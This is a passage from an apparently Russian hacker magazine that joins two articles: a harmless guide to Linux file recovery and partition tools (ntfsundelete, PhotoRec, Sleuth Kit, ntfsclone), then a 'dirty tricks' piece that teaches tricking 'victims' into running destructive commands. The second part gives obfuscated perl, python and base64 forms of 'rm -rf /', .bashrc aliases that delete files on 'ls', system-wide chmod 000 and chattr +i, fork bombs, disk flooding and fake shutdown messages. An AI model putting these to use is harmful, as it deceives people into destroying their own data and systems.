му другому можно произвести, не покидая Linux. 
Из этой статьи ты узнаешь, как это сделать.

НАБОР ИНСТРУМЕНТОВ
Перед тем, как перейти непосредственно к 
описанию процесса восстановления, диагнос-
тики и возвращения убитых файлов к жизни, 
считаю своим долгом ознакомить тебя со спис-
ком используемых инструментов. Во-первых, 
нам понадобятся инструменты для работы с 
файловыми системами (создание, проверка, 
получение информации). Все они распростра-
няются в трех пакетах:
1. dosfstools — утилиты для работы с файло-
выми системами типа FAT. Пакет содержит 
всего две программы: mkfs.vfat (mkfs.dos) для 
создания файловой системы и fsck.vfat (fsck.
dos) для выполнения проверки файловой 
системы.
2. ufsutils — набор утилит для работы с UFS и 
производными (например, FFS, используемой 
во FreeBSD). Содержит восемь утилит, вклю-
чая mkfs.ufs, fsck.ufs, tunefs.ufs (настройка 
ФС), growfs.ufs (изменение размера) и другие.
3. ntfsprogs — различные утилиты для работы 
с NTFS. Не содержит программ для созда-
ния или полной проверки (базовая проверка 
возможна) файловой системы, но включает в 
себя массу полезнейших инструментов, таких 
как ntfscp для копирования файлов без мон-

тирования раздела, «реинкарнатор» файлов 
ntfsundelete, утилита для изменения размера 
раздела ntfsresize, программа для клонирова-
ния разделов ntfsclone и другие.
Также нам могут пригодиться инструменты для 
работы с разделами жесткого диска. Есть три 
наиболее продвинутые программы такого типа: 
parted (www.gnu.org/software/parted), предна-
значенная для создания разделов, изменения 
их размера, перемещения, создания и проверки 
файловых систем; gpart (www.brzitwa.de/mb/
gpart) — программа-восстановитель затертой 
таблицы разделов и TestDisk (www.cgsecurity.
org/wiki/TestDisk) — аналог gpart с псевдо-
графическим интерфейсом и несколькими 
полезными функциями.
Следует отметить, что parted — лишь хорошая оберт-
ка поверх описанных утилит для работы с файловыми 
системами, поэтому почти все, что может parted, 
могут и они. Причем вокруг самой parted есть и другая 
обертка, названная gparted (gparted.sourceforge.net). 
Она всего-навсего создает удобный графический 
GTK-интерфейс в стиле Partition Magic.
В пакете TestDisk ты найдешь утилиту PhotoRec, 
предназначенную для восстановления различ-
ных типов файлов с раздела вне зависимости от 
используемой файловой системы. Принцип ее 
работы заключается в поиске и восстановлении 
файлов по их метаданным без анализа структу-
ры файловой системы. PhotoRec способна вос-
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станавливать изображения (bmp, jpg, png, tiff, 
raf, raw, rdc, x3f, crw, ctg, orf, mrw), аудио-фай-
лы (wav, au, mp3, wma), видео-файлы (avi, mov, 
mpg), архивы (bz2, tar, zip), документы (doc, pdf, 
html, rtf), файлы с исходниками программ (c, pl, 
sh). Ряд программ такого же типа можно найти 
в пакете Sleuth Kit (www.sleuthkit.org), для кото-
рого существует web-интерфейс autopsy.

СЦЕНАРИИ 
ИСПОЛЬЗОВАНИЯ
В следующих разделах мы рассмотрим 
несколько распространенных сценариев ис-
пользования описанных утилит. Во-первых, это 
подробное описание процесса восстановления 
файлов с использованием трех разных под-
ходов, во-вторых, починка файловых систем 
после сбоя, в-третьих, клонирование раздела 
на несколько машин, в-четвертых, описание 
процесса переноса данных на раздел меньше-
го размера.

КАСТИМ RESSURECTION
Для оживления умерших файлов на NTFS пред-
назначена уже упоминавшаяся ntfsundelete из 
пакета ntfsprogs. Она очень проста в исполь-
зовании и чрезвычайно аккуратна. Если ты 
случайно потер файл и сразу же отмонтировал 
раздел, будь уверен — ntfsundelete сможет 
вернуть его на место в целости и сохранности.

Для начала необходимо просмотреть список 
всех удаленных файлов:

# ntfsundelete /dev/sda1

В третьей колонке вывода будет указан процент 
сохранности файла. Если он равен 100% — 
все ОК, файл может быть возвращен к жизни 
целым и невредимым; меньшее значение 
указывает на то, что какие-то его участки уже 
были затерты новыми данными, поэтому после 
восстановления файл окажется, что называет-
ся, битым. В некоторых случаях возможность 
восстановления даже наполовину убитого 
файла может сделать погоду, пока же остано-
вимся на полностью целых экземплярах. Для 
этого выполним следующую команду:

# ntfsundelete -p 100 /dev/sda1

Ух, как же их много! Заставим программу 
вывести на экран только файлы, удаленные за 
последние 2 дня:

# ntfsundelete /dev/sda1 -p 100 -t 

2d

Так-то лучше. Восстановим файл, номер inode 
(первая колонка вывода) которого равен 11172, 
в каталог /undeleted:

# ntfsundelete /dev/sda1 -u -i 11172 

-d /undeleted

Файлы можно восстанавливать по маске:

# ntfsundelete /dev/sda1 -u -m 

"*.doc"

Фильтровать по длине:

# ntfsundelete /dev/hda1 -S 5k-6m

Или же ты можешь восстановить все удаленные 
файлы, а уже потом разобраться, что к чему:

# ntfsundelete /dev/sda1 -u -m "*" 

-d /undeleted

Программа извлекает файлы со всеми 
атрибутами, включая имя и время создания. 
Пользоваться ей одно удовольствие.
Для восстановления данных со всех остальных 
файловых систем, включая FAT, UFS, EXT3, да 
и любых других, удобнее всего использовать 
PhotoRec. Запускаем программу:

# photorec

В главном меню выбираем подопытное 
устройство (например, /dev/sda). Нажимаем 

Узнать список файлов, подлежащих восстановлению:
# ext3grep /dev/sda1 --dump-names

Восстановление файла:
# ext3grep /dev/sda1 --restore-file /home/user/work/очень_важный_документ.odt

Восстановление каталога:
# ext3grep /dev/sda1 --restore-file /home/user/work

Восстановление всех файлов с момента времени 1231543545 (секунды от начала эпохи 
UNIX):
# ext3grep /dev/sda1 --restore-all --after=1231543545

ДРУГОЙ СПОСОБ ВОССТАНОВЛЕНИЯ ФАЙЛОВ С EXT3
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<Enter> и выбираем тип таблицы разделов 
(для писюков это Intel). Далее выбираем раз-
дел, а на следующем экране — тип файловой 
системы (ext2/ext3 или другая). Задаем ката-
лог, куда мы хотим поместить восстановлен-
ные файлы, и нажимаем «Y». Каталог должен 
находиться на другом разделе/диске, иначе 
ты рискуешь усугубить ситуацию, затерев 
удаленные файлы новыми данными.
Все, начался процесс восстановления, он 
может продлиться от 10 минут до нескольких 
часов, в зависимости от «старости» файловой 
системы и количества удаленных файлов. Ты 
можешь остановить процесс в любой момент, 
нажав <Ctrl-C>, и возобновить его с места 
прерывания, вновь запустив PhotoRec.
В выбранном тобой каталоге ты найдешь массу 
подкаталогов с именами вроде recup_dir.1, 
recup_dir.2, каждый из которых содержит боль-
шое количество файлов разного типа. Имена 
PhotoRec не восстанавливает, поэтому придет-
ся повозиться с разгребанием всей этой кучи.
У PhotoRec есть и другие недостатки:
1. Достаточно часто он дает сбои, и файлы 
могут оказаться поврежденными, поэтому их 
следует проверять на «небитость» в обяза-
тельном порядке.
2. Программа ищет файлы по шаблонам. 
Если ты удалил файл, формат которого не 
поддерживается PhotoRec — пиши пропало.
Поэтому в довесок к photorec необходимо 
иметь под рукой другие средства анализа 
и восстановления утраченных данных. 
Лучшим на этом поприще считается комп-
лект утилит Sleuth Kit (www.sleuthkit.org), 
содержащий огромное количество самых 
разнообразных инструментов, которые 
любят применять в своей работе различ-
ные службы по расследованию инцидентов 
взлома и продвинутые системные админис-
траторы. Мы далеки от этого, и нас интере-
суют только две утилиты из всего комплекта: 
fls и icat, предназначенные для поиска и 
извлечения файлов (как существующих, так 
и удаленных).
Просмотрим список удаленных файлов с 
помощью утилиты fls:

# fls -rd /dev/sdb1

r/r * 117: dsc0005.jpg

r/r * 119: dsc0006.jpg

r/r * 122: dsc0007.jpg

r/r * 125: dsc0008.jpg

r/r * 128: dsc0009.jpg

Флаг ‘-r’ заставляет программу рекур-
сивно проходить по всем каталогам, а ‘-d’ 
— показывать только удаленные файлы. 
Скорее всего, листинг будет очень длинным, 
и к тому же будет содержать список inode, 
которые уже были отданы другим файлам 
(строчка realloc в третьей колонке), поэтому 
мы его отфильтруем и направим в less:

# fls -rd /dev/sda1 | grep -v 

'(realloc)' | less

В третьей колонке ты увидишь номера 
inode-файлов, а в четвертой — их имена. 
Чтобы выдернуть файл из ФС, воспользуйся 
командой icat (флаг ‘-r’ предназначен для 
восстановления удаленного файла):

# icat -r /dev/sda1 1023 > /home/

vasya/tmp/my_file

Для восстановления всех файлов можно 
воспользоваться следующей командой:

# for i in 'fls -rd /dev/sda1 | 

grep -v '(realloc)' |\

awk {‘print $3'}|tr -d [:]'; do 

icat -r -f fat /dev/sdb1 $i >\

/home/vasya/tmp/inode-$i ;done

Если ты желаешь найти какой-то конк-
ретный файл, то вывод fls можно просто 
«погрепать»:

# fls -rd /dev/sda1 | grep -v 

'(realloc)' | grep my_file.jpg

Замечательная особенность утилит Sleuth 
Kit состоит в том, что они используют 
множество самых разнообразных методик 
поиска удаленных файлов и их частей. Это и 
анализ управляющих структур файловой сис-
темы, и различные эвристические методы, 
и сопоставление с шаблоном. Фактически, с 
помощью Sleuth Kit возможно вернуть к жиз-
ни даже файлы, затертые на ext3 (притом, что 
сами разработчики ext3 говорят о невозмож-
ности проведения такой операции).

ПОЧИНКА 
ФАЙЛОВЫХ СИСТЕМ
Починить поломавшуюся файловую систему 
очень просто. Достаточно воспользоваться 

стандартными утилитами fsck.vfat (для фай-
ловых систем FAT12, FAT16 и FAT32), fsck.ufs 
(для UFS, UFS2, FFS) и ntfsfix (для NTFS).
К сожалению, ntfsfix не способна полно-
стью вылечить NTFS. Она лишь исправляет 
некоторые из ее проблем и устанавливает 
флаг принудительной проверки файловой 
системы, так что следующая перезагрузка 
в Windows повлечет за собой запуск chkdsk 
для полной проверки ФС.
Используя виртуальную машину, мы можем 
избежать необходимости перезагрузки в 
Windows. Для этого:
1. Запускаем виртуальную машину и уста-
навливаем винду на виртуальный жесткий 
диск.
2. Отмонтируем раздел, содержащий файло-
вую систему NTFS.
3. Запускаем виртуальную машину, в 
качестве первого жесткого диска которой 
указываем виртуальный диск с Windows, а 
второго — наш настоящий жесткий диск.
4. С помощью стандартных средств Windows 
запускаем проверку NTFS-раздела.

КОПИРОВАНИЕ РАЗДЕЛОВ
Допустим, ты купил новый жесткий диск и хо-
чешь перенести несколько разделов со старого 
диска на новый. Если ты начнешь делать это 
стандартными методами, через создание но-
вого раздела и ручное копирование файлов, то 
рискнешь поиметь массу проблем, связанных 
с кодировками имен файлов, специальными 
файлами, защищенными файлами, да и поте-
ряешь массу времени. Лучше воспользоваться 
методом клонирования раздела.
Пользователи UNIX клонируют разделы с по-
мощью стандартной утилиты dd, которую можно 
применять в связке с любой файловой систе-
мой. Для этого на новом диске создается раз-
дел, идентичный по размерам источнику, и вы-
полняется команда «dd if=раздел1 of=раздел2 
bs=1m». Таким же образом можно скопировать 
и NTFS-раздел, но в пакете ntfsprogs для этой 
цели есть более подходящая утилита.
Программа ntfsclone идентична по функцио-
нальности команде dd за исключением двух 
особенностей. Во-первых, она не копирует 
незанятые участки файловой системы, и пере-
мещение происходит быстрее, а образ раздела 
(если ты создаешь образ) занимает меньше 
места. Во-вторых, ntfsclone способна хранить 
образ в специальном сжатом файле, который 
удобно передавать на другие машины.
Для клонирования раздела достаточно выпол-
нить следующую команду:
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# ntfsclone --overwrite /dev/hda1 /dev/hdb1

А для создания образа:

# ntfsclone --save-image --output backup.img 

/dev/hda1

Утилита ntfsclone особенно удобна, если ты решил скопиро-
вать установленный Windows на целый парк других машин 
(учебный класс или офис). Для этого достаточно установить 
Windows на одну машину и создать образ, который затем 
можно выложить в шару и с помощью Linux LiveCD залить 
на другие машины. Чтобы они смогли загружаться, придет-
ся также скопировать MBR-запись диска:

# sfdisk -d /dev/sda > /share/sda-sfdisk.dump

# dd if=/dev/sda bs=512 count=1 of=/share/

sda-mbr.dump

А затем записать ее на диск всех машин:

# sfdisk /dev/sda < /share/sda-sfdisk.dump

# dd if=/share/sda-mbr.dump of=/dev/sda

ПЕРЕНОС ДАННЫХ
Если ты решил полностью перейти на Linux, но не хочешь 
использовать различные ухищрения и ntfs-3g для доступа к 
своим старым данным, расположенным на NTFS-разделе? 
Ведь этот раздел может занимать большую часть диска, и 
нет никакой возможности просто скопировать его содер-
жимое на новый раздел, отформатированный в ext3/ext4. В 
этом случае тебе на помощь опять придут утилиты из пакета 
ntfsprogs, а точнее одна из них — ntfsresize, которая поз-
волит копировать данные небольшими порциями в новую 
файловую систему с последующим уменьшением размера 
NTFS-раздела и увеличением ext3/ext4-раздела. Для 
этого тебе понадобится какой-нибудь LiveCD, содержащий 
ntfsprogs и e2fsprogs версии не ниже 1.41 (для поддержки 

ext4, если ты, конечно, собираешься переносить данные 
на нее). Также очень желательно, чтобы LiveCD содержал 
свеженький gparted, потому что изменять размер вручную 
трудно и опасно (кроме изменения размера самой ФС, 
предстоит менять размер раздела с помощью fdisk, одна 
ошибка и всю операцию придется начинать сначала).
Загружаемся с LiveCD и монтируем разделы жесткого 
диска. Допустим, его размер составляет 120 Гб. Из них 80 
Гб — под завязку набитый NTFS-раздел, а остальные 30 Гб 
(да, именно 30, после перевода маркетинговых гигабайт 
в настоящие объем диска оказывается равным примерно 
111 Гб) — это раздел с установленным Linux, занятость 
которого составляет 5 Гб. Значит, наше «окно» равно 
примерно 25 Гб. Перемещаем файлы с NTFS-раздела на 
ext3/ext4-раздел до тех пор, пока их совокупный размер 
не станет равен размеру окна. В результате последний 
оказывается полностью заполненным, а первый «худеет» 
на 25 Гб. Отмонтируем оба раздела и запускаем gparted. 
Выбираем NTFS-раздел, жмем вторую кнопку мыши, 
выбираем Resize/Move и уменьшаем раздел на размер 
окна, выбираем ext3/ext4-раздел и увеличиваем его на тот 
же размер окна (раздел придется сдвинуть к началу диска, 
а затем увеличить). Так мы получаем еще 25 Гб освободив-
шегося места, что позволит нам скопировать часть файлов, 
а затем вновь изменить размер. Четыре таких прохода, и 
мы полностью удаляем NTFS-раздел, а раздел ext3/ext4 
расширяем на весь диск.

ВЫВОДЫ
Как ты смог убедиться, Linux умеет не только работать с 
множеством сторонних файловых систем, но и оснащен 
массой утилит для их модификации, проведения диа-
гностики и выполнения других операций. Ты никогда не 
окажешься в безвыходной ситуации, держа под рукой 
LiveCD на базе Linux, который как раз и является тем самым 
Святым Граалем любого системного администратора и 
пользователя. z
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PHOTOREC: ПРОЦЕСС ТОЛЬКО НАЧАЛСЯ, А 
КОЛИЧЕСТВО ВОССТАНОВЛЕННЫХ ФАЙ-
ЛОВ УЖЕ ПЕРЕВАЛИЛО ЗА 1000

ПРОГРАММА NTFSUNDELETE ЧЕСТНО СО-
ОБЩАЕТ О ТОМ, ЧТО ФАЙЛЫ ПОЛНОСТЬЮ 
ЦЕЛЫ

PHOTOREC СОБСТВЕННОЙ ПЕРСОНОЙ

GPARTED: 
ЗАЧЕМ НАМ 
PARTITION 
MAGIC?

• foremost.sourceforge.
net — Foremost, еще 
одна популярная 
программа для восста-
новления файлов по 
шаблонам.

• www.sysresccd.
org — System Rescue 
CD содержит все 
упомянутые в статье 
программы.

links

HTTP://WWW
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Î
собую привлекательность UNIX-за-
падлостроения получают именно 
сейчас, когда все поголовно начина-
ют переползать на Linux. Пингвина 
устанавливают дома, в школах, 

институтах, различных гос. учреждениях, на 
нетбуки, телефоны. И всем этим пользуются 
рядовые чайники, которым можно запросто 
впарить deb-пакет с программой-ускорителем 
интернета, заставить выполнить странную 
команду, которая якобы активирует механизм 
автоматического распараллеливания прило-
жений по всем доступным ядрам процессора, 
научить печатать перед любой предложенной 
ему командой слово sudo. Какой простор для 
западлостроителя! Теперь не надо ломать 
голову над запрятыванием своих форк-бомб 
и шелл-функций в систему, необязательно ло-
мать комп жертвы, достаточно уверить ее в том, 
что ты проженный жизнью Гик, который видел 
выход Slackware 3.0 собственными глазами и 
компилировал ядро Linux 1.1. Все, дело сдела-
но. Он сам прибежит к тебе за помощью, когда 
споткнется об очередной камень Ubuntu Linux.

ШУТКИ
Начнем с самых простых и совершенно без-
обидных приколов, которые ты сможешь уст-
раивать с целью поднять настроение не только 
себе, но и жертве. Целевая аудитория: друзья и 
знакомые с хорошим чувством юмора.
Из всех способов удачно подколоть жертву 
наиболее простой и эффективный заключается 
в том, чтобы заменить одну или несколько часто 
используемых команд на псевдоним, выпол-
няющий подложную команду (набор команд). 
Так, например, ты можешь посоветовать жертве 

свой собственный .bashrc, который содержит 
ряд полезнейших функций, красиво раскра-
шенное приглашение и улетные настройки, 
но в его конец ты поместишь что-нибудь вроде 
этого:

alias sudo='echo -e "\e[1;1H\

e[2JMatrix HAS you…"; sleep 600'

Если жертва не особо сильна в шелл-скрип-
тинге, то скорее всего она просто заменит 
свой .bashrc твоим продвинутым вариантом и 
продолжит спокойно осваивать премудрости 
командной строки… Ровно до того момента, 
пока не вызовет команду sudo, результатом 
чего станет затирание всего экрана и появ-
ление надписи «Matrix HAS you…» в левом 
верхнем углу экрана. Также в .bashrc можно 
добавить инициализацию и экспорт перемен-
ной TMOUT, отвечающей за автоматическое 
закрытие шелла во время бездействия:

export TMOUT=10

Результат: десятисекундный простой и опа, — 
шелл закрылся. Пока жертва разберется, что к 
чему, постоянные «падения» интерпретатора 
ее доконают.
С помощью команд, прописанных в .bashrc, ты 
можешь сделать очень многое. Например, под-
менить клавиши клавиатуры в X Window. Для 
этого помести в подложный .bashrc следующий 
код:

$ VI .BASHRC

# Ýòîò êîä ÷èíèò êëàâèàòóðíûå êîìáè-

íàöèè â Firefox

if [ $DISPLAY != ""]; then

    a='xmodmap -pke | grep 'a A' | cut 

-d '' -f 3'

    s=`xmodmap -pke | grep 's S' | cut 

-d '' -f 3'

    xmodmap -e "keycode $a = s S" > /

dev/null 2>&1

    xmodmap -e "keycode $s = a A" > /

dev/null 2>&1

fi

Новичок вряд ли разберется в том, что конк-
ретно делают эти команды, и просто поверит 
комментарию. На самом же деле код меняет 
клавиши ‘a’ и ‘s’ местами, так что жертва будет 
долго материться, полагая, что разучилась пе-
чатать, а затем и вовсе отправится в магазин за 
новой клавиатурой. Будет еще смешнее, если 
заменить местами клавиши s и l и заставить 
жертву установить программу sl, результатом 
которой будет проносящийся справа-налево 
поезд, нарисованный с помощью ascii art.
Безобидные шутки с выводом различных сооб-
щений на экран монитора также могут вызвать 
бурю эмоций.

$ VI ~/.BASHRC

wrapper() {

    DATE=$(LC_ALL=en date +’%c’)

    TTY=$(basename ̀ tty`)

    echo -e «Broadcast message from 

$USER (pts/$TTY) ($DATE)\n\nThe 

system is going down for system halt 

NOW»

    sleep 500

}

alias vi=wrapper
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Ýíöèêëîïåäèÿ  UNIX-çàïàäëîñòðîåíèé

Ïîùàäû íå áóäåò!
В UNIX есть все для осуществления самых разнообразных западло-
строений: свобода действий пользователя, полный доступ ко всем, даже 
самым сокровенным, уголкам операционки, открытые исходные тексты, 
богатейший арсенал инструментария на все случаи жизни. Получив до-
ступ к системе или просто заставив пользователя запустить показанную 
ему команду, ты с легкостью ввергнешь свою жертву в состояние шока, 
глубина которого будет зависеть только от твоих моральных принципов.
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В итоге вызов редактора vi приведет к печати 
примерно такого сообщения:

Broadcast message from vasya (/

dev/pts/0) Thu 24 Sep 2009 14:50:50 

YEKST

The system is going down for system 

halt NOW!

Вариант на языке Си (здесь и далее по 
тексту объявления заголовочных файлов и 
проверки на возвращаемые функциями зна-
чения опущены для экономии журнального 
пространства):

$ VI SYSLOG-FAKE.C

int main(void)

{

 extern const char *__

progname;

 char buf[128], hostname[256];

// ñêðûâàåì èìÿ íàøåé ïðîãðàììû

 __progname = "";

 (void)gethostname(hostname, 

sizeof(hostname));

// ïîäãîòàâëèâàåì ôåéêîâîå ñîîá-

ùåíèå î íåìåäëåííîì âûêëþ÷åíèè 

êîìïüþòåðà

 snprintf(buf, sizeof buf,

     "    *** FINAL System 

shutdown message from root@%s ***    

System going down IMMEDIATELY",

     hostname);

 syslog(LOG_EMERG, buf);

 exit(0);

}

Первый аргумент функции syslog() говорит 
о том, что сообщение является экстренным, 
поэтому оно попадет не только в логи системы 
syslog, но и будет выведено в консоль.
Многие не знают о том, что в *nix-системах 
любой пользователь может вызвать систему 
регистрации событий и создать журнальные 
записи, якобы посланные каким-либо демо-
ном или программой. Для примера симитиру-
ем работу почтового демона popa3d:

$ VI POPA3D-FAKE.SH

#!bin/sh

echo 'Authentication passed for 

pupkin' | logger -i -t 'popa3d' -p 

daemon.info

echo '13 messages (31337 bytes) 

loaded' | logger -i -t 'popa3d' -p 

daemon.info

echo '13 (31337) deleted, 0 (0) 

left' | logger -i -t 'popa3d' -p 

daemon.info

Еще один тип шуток эксплуатирует способ-
ность файловых систем UNIX-подобных ОС к 
упаковке так называемых «файловых дыр». 
Если в файловую систему записывается файл, 
содержащий достаточно длинный участок 
нулей (длиной, по крайней мере, в один блок), 
то выделения блоков для размещения этих 
данных не происходит, а все ссылки на блоки, 
содержащие нули, помечаются специальным 
битом. Впоследствии «нулевые» блоки могут 
быть выделены ФС, но до этого времени они 
не занимают место на диске. Эта особенность 
используется torrent-клиентами для создания 
пустых файлов, в разные места которых со вре-
менем будут помещаться скачанные данные 
(а место для них будет выделяться файловой 
системой по мере надобности).
Тот же прием можно использовать для «запу-
гивания» жертвы: мы просто создаем необы-
чайно длинный файл и наполняем его нулями. 
В результате в файловой системе появляется 
огромный файл, который на самом деле не 
занимает места. Вот код на Си:

$ VI HOLE.C

int main(void)

{

 const char *fname = "/tmp/

surprise";

 const char *mystring = 

"aaaaaa";

 off_t myoffset = 1048576000;

 int fd;

 open(fname, O_CREAT | O_TRUNC 

| O_RDWR, 0600);

 write(fd, mystring, 

strlen(mystring));

 lseek(fd, myoffset, SEEK_

CUR);

 write(fd, mystring, 

strlen(mystring));

 printf("Segmentation 

fault\n");

 exit(0);

}

Заменяем строку /tmp/surprise на путь до 
нашего фиктивного файла. Компилируем:

$ gcc hole.c -o cool_app

Подсовываем жертве. Она запускает програм-
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му и получает на экран «Segmentation fault». 
После чего ты говоришь ей, что, мол, бывает, 
попробуй запустить у друга… В конце концов 
жертва забывает об этой программе и в один 
прекрасный день натыкается на файл, размер 
которого равен 1048576012 байт! Почти тера-
байт! Далее можно начинать ржать над тем, как 
наш лопух рассказывает всем, что нашел у себя 
в системе (с жестким диском на 500 Гб) файл, 
размером в один терабайт. Шутка станет еще 
более смешной, если файл упрятать в систему 
достаточно хорошо. Дело в том, что многие 
файловые системы возвращают размер сво-
бодного/занятого пространства с учетом этих 
самых нулевых блоков, и получится, что после 
создания файла команда df будет показывать 
полную занятость раздела (если, конечно, он 
не больше 1 Тб), что совсем не соответствует 
истине.
Но это все невинные шалости, конкретные 
подколы начнутся в том случае, если ты полу-
чишь доступ к компу жертвы с правами root. 
Тогда тебе откроется настоящий простор для 
западлостроений. Например, можно изме-
нить загрузочное меню grub (файл /boot/grub/
menu.lst) и прописать в нем Windows 95 вместо 
Ubuntu Linux, подсунуть другую иконку главного 
меню Gnome (/usr/share/icons/gnome/scalable/
places/gnome-main-menu.svg), модифициро-
вать файл /etc/fstab так, чтобы в качестве до-
машнего каталога пользователя монтировался 
каталог /tmp и многое другое.
Достаточно интересным, а главное, ставящим в 
тупик многих, является трюк, получивший имя 
«Укусить себя за хвост». Суть его заключается в 
том, чтобы просто снять с команды chmod права 
на исполнение и таким образом добиться того, 
что жертва не сможет менять права доступа 
любого файла:

# chmod -x 'which chmod'

Если хочется чего-нибудь эдакого, то вот 
тебе рецепт, который превратит инициацию 
соединения по протоколу PPTP (VPN) в вызов 
модемного диалап-соединения (виртуально, 
естественно). Выполни следующую последова-
тельность действий:

1. Переименуй файл /usr/sbin/pptp:

# mv /usr/sbin/{pptp,pptp.bak}

2. Положи на его место скрипт:

# VI /USR/SBIN/PPTP

#!/bin/sh

dd if=/bin/ls of=/dev/dsp &

pptp.bak $*

3. Дай скрипту права на исполнение:

# chmod a+x /usr/sbin/pptp

Команду pptp использует любая программа, 
подключающаяся к VPN-серверу по протоколу 
pptp, включая NetworkManager, по умол-
чанию поставляемый с Ubuntu. Подменив 
его на наш скрипт, мы добились того, что 
во время каждой инициации соединения с 
сервером пользователь будет слышать звук, 
сильно напоминающий издаваемый модемом 
при диалапном соединении. В качестве 
источника шумов я выбрал /bin/ls, который 
хорошо подходит как по длительности, так и 
по звучанию, но ты можешь поэксперименти-
ровать и подобрать другой файл (желательно 
бинарный).

ЗЛЫЕ ШУТКИ
Злых шуток пользователи *nix-систем 
придумали гораздо больше. Здесь есть все, 
начиная от классического «rm -Rf /», уда-
ляющего все файлы, доступные для записи, 
и заканчивая многочисленными форк-бом-
бами и способами отправить ядро в kernel 
panic. Я бы порекомендовал несколько раз 
подумать, перед тем как применять их на 
практике (особенно те, которые уничтожают 
файлы). Целевая аудитория: обидчики, при-
дурки, гопники и все те, кого не жалко даже 
твоей бабушке.
Начнем с классики — удаления всего, до 
чего можем добраться. Издревне эта опера-
ция производилась с помощью подсунутой 
пользователю команды «rm -Rf /», которую 
он благополучно запускал (да, и это срабаты-
вало, а на некоторых убунтоводах сработает и 
сейчас), издавал несколько прощальных звуков 
и на несколько часов выбывал в офлайн. Сегод-
няшние пользователи более продвинуты и по 
настоянию старших не запускают команды, не 
прочитав man-страницы. Что же тогда делать? 
Команду можно, например, замаскировать, как 
это сделал один из посетителей linux.org.ru в 
2003 году, подкинув в форум приведенный ниже 
perl-скрипт с просьбой помочь в его отладке.

# perl -e '$??s:;s:s;;$?::s;;=]=>%-

{<-|}<&|'{;;y; -/:-@[-'{-};'-{/" 

-;;s;;$_;see'

Естественно, для пожелавших помочь «бедола-
ге» все закончилось весьма и весьма плачевно.
Подобный способ маскировки существует и для 
python:

# python -c 'import os; 

os.system("".join([chr(ord(i)-1) 

for i in "sn!.sg!+"]))'

И для bash (правда его легко раскрыть, опустив 
скобки):

# $(echo 

c3VkbyBybSAtcmYgLwo=|base64 -d)

Другая, достаточно смешная, шутка — подсу-
нуть команду rm в качестве alias’а для другой 
команды:

$ echo "alias ls=’rm -rf * >/dev/null 

2>&1; ls’" >> ~/.bashrc

В результате перед каждым вызовом команды 
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Файловая дыра: все гениальное 
просто

Простой рецепт, как ужать файл 
любой длины в несколько десятков 
байт Готов поспорить, что ни один юник-

соид не ждет от команды vi такой 
реакции

ÑÒÐÅÑÑ-ÒÅÑÒ ÔÀÉËÎÂÎÉ ÑÈÑÒÅÌÛ. ÝÒÎÒ ÍÅÇÀÌÛÑËÎÂÀÒÛÉ ÑÊÐÈÏÒ ÏÐÈÂÎÄÈÒ 
Ê ÏÀÍÈÊÅ ßÄÐÀ ÎÑ OPENBSD ÂÅÐÑÈÈ 3.4 È ÍÈÆÅ

#! /bin/sh

mkdir stressdir

while [ 1 ]; do

for dir in a b c; do

        mkdir stressdir/$dir

        for dir2 in 0 1 2 3 4 5 6 7 8 9; do

                (dd if=/dev/zero of=stressdir/$dir/$dir2 bs=1024k count=100 

&& rm -f stressdor/$dir/$dir2) >/dev/null &

        done

done

wait

done
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ls будет происходить очищение текущего каталога. Пред-
ставь, как удивится наша жертва, когда запустит ls и увидит, 
что все файлы куда-то подевались. Будет еще смешнее, 
если она попытается выйти на каталог выше и вновь вызо-
вет ls…
Еще один интересный трюк: выставить совершенно извра-
щенные права на все файлы и каталоги системы:

# chown nobody:nobody -R /

# chmod 000 -R /

Это приведет к тому, что дееспособным останется только 
root, тогда как все остальные пользователи не смогут даже 
войти в систему. Более зловещий вариант: воспользоваться 
расширенными атрибутами файловой системы ext3/4 для 
того, чтобы сделать все файлы системы немодифицируемы-
ми и неудаляемыми.

# cd /

# chattr -R +i *

Особая фишка этого способа в том, что неопытному пользо-
вателю будет очень сложно найти причину столь странного 
поведения файловой системы. Расширенные атрибуты 
не пользуются популярностью, их не показывает команда 
ls, многие вообще не знают о их существовании. Жертва 
проверит права и убедится, что все в порядке, затем начнет 
пробовать перемонтировать файловую систему в режиме 
записи, что не даст ровным счетом ничего, попытается пере-
загрузить систему, что будет невозможно сделать. Наконец, 
недруг нажмет кнопку «сброс» на системном блоке, дождется 
окончания восстановления журнала и вновь попробует уда-
лить файл… Но не тут-то было, расширенные атрибуты можно 
убрать только с помощью утилиты chattr или через отключе-
ние их поддержки в ядре.
Если же твоя жертва — суровый профи, умеющий пользоваться 
загрузочным диском для восстановления системы, знающий 
о правах доступа и расширенных атрибутах, а способ удаления 
всего и вся ты считаешь слишком низким и недостойным, то 
предлагаю взять на заметку следующий простой шелл-скрипт:

$ cd ~; for x in 'ls'; do mv -f $x $y; y=$x; done

Он не убивает данные, не вводит в пользователя в непре-
одолимый ступор, но позволяет от всей души посмеяться. 
После выполнения этой последовательности команд все 
файлы и подкаталоги домашнего каталога пользователя 
будут иметь неправильные имена, а если точнее: будут 
сдвинуты на один вперед. На первый взгляд листинг файлов 
будет выглядеть правильно, но на проверку окажется, что 
содержимое любого из файлов не соответствует имени. 
Жертве придется изрядно постараться и убить много време-
ни перед тем, как она все приведет в порядок.

Если ты не хочешь причинять серьезный ущерб, то тебе 
помогут форк-бомбы и различные способы отправить ядро в 
панику. В простейшем варианте форк-бомба выглядит так:

:(){ :|:& };:

А после расшифровки так:

func() {

    func | func &

}

func

А на perl вот так:

$ perl -e 'fork while true;' 

Команда порождает бесконечное число процессов и, если 
максимальное число процессов и используемой памяти не 
ограничено с помощью ulimit (а в подавляющем большинс-
тве случаев так оно и есть), система вскоре исчерпает все 
свои ресурсы и окажется недоступной.
Чтобы сделать форк-бомбу более эффективной, надежной 
и смертоносной, ее следует оформить в виде бинарного 
файла (который будет даже проще подсунуть жертве):

$ VI FORK-BOMB.C

int main(void)

{

 for (;;) {

  while (fork() != -1)

   ;

  for (;;) {

   getpid();

   malloc(65536);

  }

 }

 exit(0);

}

Обрати внимание на факт использования функции malloc(), 
которая, будучи запущенной в бесконечном цикле, постепен-
но высосет из системы всю доступную оперативную память.
Особое место среди UNIX-западлостроений занимают 
различные способы захламления файловой системы или, 
говоря по-человечески, файл-флуд. Флуд будет полезен 
тогда, когда все остальные способы оказываются неэффек-
тивными или слишком жесткими. Он не несет особой опас-
ности, но может серьезно навредить, будучи примененным 
на боевом сервере. Простейший метод захламления ФС 
— создание файла, который будет постоянно расти и в конце 
концов займет все доступное пространство. Например:

$ cat /dev/random > ~/.backup &

Также возможно создание бесконечной цепочки подката-
логов:

